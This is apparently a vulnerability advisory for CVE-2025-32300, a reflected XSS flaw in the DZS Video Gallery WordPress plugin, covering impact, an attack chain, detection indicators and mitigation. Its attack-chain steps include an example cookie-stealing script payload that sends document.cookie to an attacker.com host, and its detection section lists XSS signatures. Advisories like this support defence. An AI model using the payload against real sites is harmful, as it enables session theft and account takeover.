CVE-2025-32300: 
WordPress vulnerability analysis and mitigation

CVE-2025-32300 is a Reflected Cross-Site Scripting (XSS) vulnerability in the DZS Video Gallery WordPress plugin developed by Digital Zoom Studio. It affects all versions of the plugin through 12.25 (later revised to through 12.39 before being reverted). The vulnerability was reported by Patchstack and published on January 7, 2026. It carries a CVSS v3.1 base score of 7.1 (High), assigned by Patchstack (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant. This occurs when user-supplied input is incorporated into web page output without adequate sanitization or encoding, allowing malicious scripts to be reflected back to the victim's browser. Exploitation requires no authentication and no elevated privileges, but does require user interaction — typically tricking a victim into clicking a crafted URL. The changed scope (S:C) in the CVSS vector indicates the injected script can affect resources beyond the vulnerable component itself (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, redirection to malicious sites, or defacement of page content as rendered to the victim. The changed scope means the impact can extend beyond the plugin itself to the broader WordPress environment, potentially enabling account takeover of authenticated users including administrators (Patchstack).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-32300. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites running the DZS Video Gallery plugin (version ≤ 12.25) using tools like WPScan, Shodan, or Google dorks targeting plugin-specific file paths.
2. Craft malicious URL: Construct a URL targeting the vulnerable plugin endpoint that includes an unsanitized parameter containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
3. Deliver the payload: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or embedding in a forum/comment.
4. Victim interaction: When the victim clicks the link and loads the page, the reflected script executes in their browser within the context of the WordPress site.
5. Achieve objective: The attacker captures session cookies, credentials, or performs actions on behalf of the victim, potentially gaining administrative access to the WordPress site (Patchstack).

• Network: HTTP GET or POST requests to DZS Video Gallery plugin endpoints containing encoded JavaScript payloads (e.g., <script>, %3Cscript%3E, javascript:) in URL parameters.
• Logs: WordPress or web server access logs showing requests with suspicious query strings containing HTML tags or JavaScript event handlers directed at plugin pages.
• Browser/Client-Side: Unexpected redirects from WordPress pages to external domains; unusual JavaScript execution originating from plugin-rendered pages.
• User Reports: Authenticated users (especially admins) reporting unexpected behavior, session invalidation, or redirects after clicking links related to the site.

Users should update the DZS Video Gallery WordPress plugin to a version beyond 12.25 (the patched version). If an update is not immediately available or applicable, administrators should consider deactivating the plugin until a fix is confirmed. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim. WordPress site administrators should also ensure that privileged users exercise caution when clicking external links (Patchstack).